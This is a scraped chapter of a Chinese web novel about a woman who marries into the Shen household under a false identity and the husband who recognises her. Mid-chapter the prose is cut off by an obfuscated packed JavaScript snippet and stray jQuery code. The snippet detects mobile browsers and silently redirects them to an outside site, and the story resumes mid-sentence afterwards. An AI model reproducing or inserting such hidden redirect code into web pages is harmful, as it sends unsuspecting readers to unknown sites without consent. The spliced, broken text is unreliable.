123读书网 > 玄幻小说 > 春茶知我 > 3. 替嫁入沈府
    沈溯礼只觉得这声音分外的熟悉。


    没等他反应过来,萧知微已经等不及,又射出三枚银针,速度之快,险些划破他的脸。


    “到底何人闯我柳府?躲在暗中,实属小人行为!”


    敌在暗我在明,萧知微也不敢保证她能打得过他。


    她抽出匕首,心一横,时刻防备着。


    随着烛光熄灭,屋内陷入一片黑暗,是似乎有人把门推开,一阵凉风吹来,萧知微裹着被子退到墙边。


    哒——哒——哒


    沈溯礼走到距离萧知微两尺处。


    刚落下脚步,沈溯礼原想仔细辨认,可萧知微二话不说立刻扔掉被子和他扭打起来。


    她挥着匕首还带着冷意,速度快到他都差点接不住。


    二人扭打在一起,沈溯礼因心中猜测不敢对她动手,直到他将萧知微反扣在臂膀中。


    她的短刃擦过他喉结时,沈溯礼忽然嗅到一丝极淡的茶香——君山银针混着梅雪的气息。


    茶味的独特馨香唤醒了他几年前的记忆,黑暗的环境下他看不清对方的样貌,但他能够仅凭香味认定萧知微的身份。


    “登徒子,松开我,一声不吭算什么男人。”


    萧知微刺激着他,然而他已经毫无打探的心思。


    他松开她,停留几秒,随后转身跃至房顶,带着混乱的脑子离开柳府。


    面对这种莫名其妙的黑衣人,萧知微也一脸茫然。


    如果是来追杀萧家人,那为什么不还手又离开。


    如果是采花贼,又为何一言不发。


    经过这顿折腾,萧知微的身体终于倍感疲劳,她确认黑衣人已经离开,慢慢关好门,躺回被子里。


    带着这个疑问,她终于入睡。


    ——


    沈溯礼可谓是狼狈的回到沈府。


    虽然未能看见她的模样,但已经八九不离十,这个柳小姐的确不是真的。


    他本想着哪怕这个柳小姐不是真的,到时候他也能跟她谈条件,达成合作。


    如今,一想到有可能是她,沈溯礼便不想带上一丝一毫的算计。


    三年前,是她冒着私会外男的风险救助他,并治好了他的病,沈溯礼是知恩图报的人,但当他询问她的身份时,她却说:


    “你我萍水相逢,这便是缘分,既是缘分便不可强求,天若有情,便不会教有缘人分离。”


    那时她正值豆蔻年华,小姑娘未食粉黛容貌却足以倾城,一举一动间尽显大家闺秀的风范。


    后来他偷偷拿走了她绣了一半的茶袋,给她留下了一枚刻着川流的玉佩。


    许是小孩儿忘性大,她并没有认出沈溯礼。


    沈溯礼推开库房,走到最近的一个大箱匣。


    他用钥匙解开锁,掀开木盖子——


    一套崭新的嫁衣板板正正的叠放在箱子里,繁琐复杂的金线穿插在花纹间,看来沈府给柳府的表面功夫是足够的。


    他又打开旁边的小箱子,这个箱子装着新娘子的红盖头。


    这个红盖头就简单许多,除了锁边的金线外,中间便没有什么图案了。


    沈溯礼的手指挑起盖头的一角,然后将它拿出来,关上盖子,离开库房。


    他拿着盖头十分扎眼,好在院子里并没有其他人。


    盖头铺在桌面上,沈溯礼拿着尺子和丝线,比量比量还是决定先放下,为了保证万无一失,他决定先在图纸上画好模样,再转到盖头上,用丝线把图案绣在盖头上。


    ……


    为稳民心,抄萧府时选择在夜晚,所以对萧府的判决以及刑罚,外界的人是不会知道的。


    他们只知道的是,曾经风光无限的将军府,一夜变成了阶下囚。


    树倒猢狲散,令人唏嘘不已。


    萧知微忘不了她最忠心的丫鬟小宁为了叫她赶紧逃走,留下来独自面对官兵,她往回看时,是一片火光。


    直到成婚前夜,她都入睡困难,即使入眠也很容易惊醒。


    “告诉皎皎她们,快跑!”


    “小姐,你快走……”


    家人的哭喊声成为了她的梦魇。


    她走的第一步棋,即将完成。


    明日便是萧知微作为柳青儿出嫁的日子。


    大红色的嫁衣和盖头送过来的时候,不见萧知微脸上露出半分喜色。


    柳老爷新找了两个丫鬟作为她的陪嫁丫鬟培宁和仲秋。


    两个小丫鬟兴致很高,将嫁衣摆在架子上理好后,叽叽喳喳的说着沈府。


    “小姐小姐,听说沈府二公子模样生的英俊,你见过没有?”


    “你可别添乱了,我听说沈府可是个大家族,里面亲眷错综复杂,说白了吃人都不吐骨头!”


    两个小丫鬟讨论的背景音丝毫无法减少萧知微内心的痛苦,下一秒,心绪郁结的她终于吐出一口血,溅了她一身。


    上一次吐血是在柳青儿去世时。


    她的病已经到了末期,没有挽救的地步,柳青儿走的毫无牵挂。


    这一吐血吓得后面两个小丫鬟立马噤了声。


    “小姐,你别吓我啊。”


    “小姐,我马上去找郎中!”


    “别去,吐出来,就好了。”


    萧知微镇定自若地拿出手帕擦嘴,看着身上的血迹和旁边的红嫁衣,竟不知谁比谁更红。


    她流下一滴眼泪,那眼泪滴在嫁衣中消失不见。


    ——初八


    卯时的天光刚破开青灰色云翦,檐角最后一颗星子还悬着,喜娘便捧着缠金丝的梳篦来了。


    “一梳梳到尾。”


    “二梳白发齐眉。”


    “三梳儿孙满堂。”


    梳头礼完毕,柳夫人哭的泣不成声,旁边的柳老爷也哽咽着。


    他们也在惋惜没能见到柳青儿出嫁时的模样。


    第三下梳完,铜镜里映出萧知微的新模样,她的头发乌黑如缎,被盘成新妇的样式,簪上金钗,再不是未嫁时的模样。


    十里的红绸从闺阁蜿蜒到轿前,映得晨雾都染了胭脂色。


    爆竹在青石板上炸开朱色的碎屑,喜乐声里混着鸽子扑棱棱飞过马头墙的响动。


    当盖头垂下的瞬间,她听见自己腕间翡翠镯子撞上银锁的清脆一响,像极了她昨夜落在嫁衣上的那滴泪。


    金丝绣鞋踏上轿凳的刹那,风忽然静了。


    萧知微听不见尘世的喧嚣,只听得见自己怦然欲出的心跳声。


    轿帘垂落的声响很轻,四角的金铃也跟着发出脆生生的响动。


    晨雾未散,蹄声已踏破长街。


    沈溯礼勒马于朱门之前,锦袍猎猎,襟前金线绣的麒麟在曦光下灼灼生辉,仿佛下一刻就要破云而出。


    马儿乖顺地踩着青砖,鼻息喷出白雾,与檐下灯笼的红影纠缠在一起。


    喜乐声骤起,唢呐高亢地撕开晨霭。


    他抬眸,正见侍女们簇拥着那抹红影迈过门槛——嫁衣的裙摆扫过石阶,像


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042174|178825||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一痕滚烫的火。


    到现在,萧知微都没有见过她丈夫的模样。


    然而下一刻,沈溯礼就接过她的手,带着他进行接下来的流程。


    他的手掌托住她的指尖,像接住一段坠落的月光。


    红绸两端在喜案上蜿蜒,她藏在袖口的指尖微颤,指甲上凤仙花染的蔻丹淡了,倒显出几分原本的底色。


    “不必怕。”


    这是他对她说出的第一句话。


    萧知微的身形微微愣住,接着她轻点一下头,显得有一些无措。


    红烛高烧,双影投地。


    两截大红喜绸中间那朵绸花被拽得紧绷,像悬在命数上的结。


    接下来是三拜礼。


    青袍礼官须发皆白,捧着一卷褪色的《仪礼》拖长声调:"一拜——天地之造化!"


    "再拜——父母之深恩!"


    "三拜——结发之盟誓!"


    沈溯礼的金镶玉带钩撞上萧知微的累丝金璎珞,好在他反应快,手指翻飞间便解决危机。


    “礼成送入洞房——”


    萧知微在丫鬟的搀扶下摸进洞房,她坐在红塌上,盖头下的双眸目光所及尽是红色。


    “少夫人,这是少爷让我给您端来的。”


    一个丫鬟托着几盘点心走进来,她四处张望着,生怕被人发现。


    “这……”


    萧知微犹豫着,手停滞在半空。


    “是不是有些于理不合?我刚嫁进来还不想犯错误……”


    小丫鬟看出了她的窘迫,她偷笑着安慰道:


    “不打紧的少夫人,只需要注意不让主母看见就可以。”


    小丫鬟可见识过孙氏的厉害。


    “好,我明白了。”


    萧知微拿起一片核桃酥,底下托着,顺利塞入口中。


    看样子主母孙氏不是一个好对付的主。


    萧知微又偷吃了几块糕点,喝水咽下去便不再多吃东西。


    在漫长的等待中,她逐渐染起了困意。


    不知道过了多久,迷迷糊糊中,萧知微听见外面的人打趣声:


    “不闹了,时候不早了该散了!”


    “新郎官还要陪新娘子呢!”


    大脑在一瞬间清醒,萧知微挺起身板,双手抓着裙角,就连凤冠压着额头的痛意都暂时忘记。


    外面逐渐安静,一阵脚步声传来。


    男人走路没有发飘,看样子并没有多喝酒。


    “少爷,该挑新娘子盖头了。”


    “好。”


    男人执起金秤杆的手很稳,萧知微的呼吸也跟着紧张起来。


    金秤杆挑起盖头的一角,然后慢慢向上——萧知微只感觉这个动作似乎被放慢了,她咬着唇角,低下眉。


    烛火将她的侧颜映得雪亮,那双藏在凤冠下的双眼,是他无数次在梦境中描摹过的眸子。


    秤杆"当啷"砸在鸳鸯戏水的铜盆上。


    萧知微不敢抬眼去看他,只是看见那片红色的新郎服。


    “少爷,合卺酒。”


    丫鬟端来合卺酒,递给萧知微,沈溯礼则拿着另一杯。


    缠着红线的匏瓜盏递到眼前时,她忽然抬眸。


    “……”


    他的模样,和某人太过相似。


    相似到萧知微不敢确认。


    两人的呼吸同时一滞。


    缠在盏上的红绳不知何时绞住了她凤冠的珍珠流苏,宛如命运早将红线缠成死结。